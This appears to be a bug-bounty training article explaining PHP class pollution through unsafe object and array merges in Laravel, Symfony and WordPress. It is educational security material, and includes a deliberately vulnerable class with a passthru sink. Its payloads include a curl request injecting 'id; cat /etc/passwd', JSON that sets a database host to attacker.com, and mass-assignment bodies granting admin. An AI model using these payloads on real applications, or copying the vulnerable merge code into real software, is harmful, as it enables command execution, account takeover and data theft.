Advanced levelPremium

PHP class pollution — the PHP equivalent of Prototype Pollution

How PHP class pollution (via recursive merge / object instantiation with user input) produces deserialization-like RCE in Laravel, Symfony, WordPress apps without needing gadget chains.

Gorka El BochiMay 11, 202614 min

Quick answer

PHP doesn't have a global prototype like JavaScript, but it does have class pollution: if an app does a foreach to merge user input into an existing object (or array_merge_recursive with configs), the attacker can overwrite the attributes of instances and trigger internal gadgets (RCE via exec-attributes, auth bypass via role flip, SQLi via SQL builders). You can't override methods (PHP doesn't support dynamic method dispatch), but attributes that flow to dangerous sinks are enough.


Why PHP is different from JS/Python

AspectJS prototype pollutionPython class pollutionPHP class pollution
Universal base classObject.prototypeobjectNo (stdClass isn't a base)
Global single-shot pollutionYesYesNo — object-by-object only
Override methodsYesYesNo — attributes only
Escape contextYesYesNo
Pollute attributesYesYesYes
Pollute array keysN/AYesYes

The key limitation: there's no universal base class. Pollution only affects the concrete instance/class. But if the app has a global configuration object (Service Container in Laravel, ContainerBuilder in Symfony, $wp_config in WP), polluting that single object is enough.


The canonical vulnerable pattern

php
function merge($baseObject, $userInput) {
    foreach ($userInput as $key => $value) {
        $baseObject->$key = $value;
    }
    return $baseObject;
}

$config = new AppConfig();
$userJson = json_decode(file_get_contents('php://input'));
$mergedConfig = merge($config, $userJson);
$mergedConfig->doSomething();

$userJson is controlled by the attacker. The foreach assigns any property. PHP doesn't distinguish between creating a new attribute and overwriting an existing one via $obj->$dynamic_key.

Gadget: command in an attribute

php
class AppConfig {
    public $healthCheckCommands = ['ping -c 1 127.0.0.1'];
    public $username = 'guest';

    function healthCheck() {
        foreach ($this->healthCheckCommands as $cmd) {
            passthru($cmd);  // ← sink
        }
    }

    function isAdmin() {
        return $this->username === 'admin';
    }
}

Exploit:

bash
curl -X POST http://target/api/config \
  -H 'Content-Type: application/json' \
  -d '{"healthCheckCommands":["id; cat /etc/passwd"],"username":"admin"}'

Result: RCE (via overriding healthCheckCommands) + auth bypass (username is now admin). In a single request.


Vulnerable merge variants

Built-in array_merge with casting

php
function merge($base, $input) {
    return (object) array_merge((array) $base, (array) $input);
}

Added problem: it converts to stdClass and the original methods are lost. Useful for auth bypass (overwriting attributes), not for RCE via method.

Manual foreach (the most exploitable)

php
function merge($base, $input) {
    foreach ($input as $k => $v) $base->$k = $v;
    return $base;
}

Preserves the class and methods → any internal method that uses polluted attributes triggers the gadget.

Clone + foreach

php
function merge($base, $input) {
    $obj = clone $base;
    foreach ($input as $k => $v) $obj->$k = $v;
    return $obj;
}

Same impact, the only change is that it doesn't mutate the original.

array_merge_recursive on arrays

php
$config = ['db' => ['host' => 'localhost', 'pass' => 'secret']];
$user = json_decode($input, true);  // ← associative array
$merged = array_merge_recursive($config, $user);

The attacker sends {"db":{"host":"attacker.com","pass":"override"}} → the deep recursive merge overwrites. A common pattern in endpoints that accept settings JSON.


Real frameworks — where to look

Laravel — mass assignment

php
// Eloquent Model
$user->fill($request->all());
$user->save();

If the model doesn't have $fillable defined or has $guarded = [], any column is assigned from the request. The attacker sends:

json
{"email":"victim@target.com","password":"pwned","is_admin":true,"email_verified_at":"2020-01-01"}

Result: ATO + role escalation. A classic Laravel bug class; bounty $2000-5000 in large programs with eloquent mass assignment.

Laravel — Service Container

php
app()->instance('mailer.config', $userControlledConfig);

If the attacker can call app()->instance(...) (rare, requires an endpoint that delegates) or if there's a config merge:

php
config()->set($key, $value);  // $key/$value desde request

With config()->set('app.cipher', 'attacker_string') they can break session encryption or force weak ciphers.

Symfony — ContainerBuilder

php
$container->set('cache.adapter.redis', $userInput);

Replaces a container service. If a component later uses it, the attacker intercepts.

WordPress — wp_parse_args

php
$defaults = ['post_type' => 'post', 'numberposts' => 5];
$args = wp_parse_args($_GET, $defaults);
WP_Query($args);

wp_parse_args is WP's official "merge". The attacker sends ?post_type=any&meta_query[0][key]=...&meta_query[0][value]=... and builds arbitrary queries. SQLi via args pollution.

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Prototype Pollution Explotacion

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

2,482

hunters training

62

labs from real hacks

1,629

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy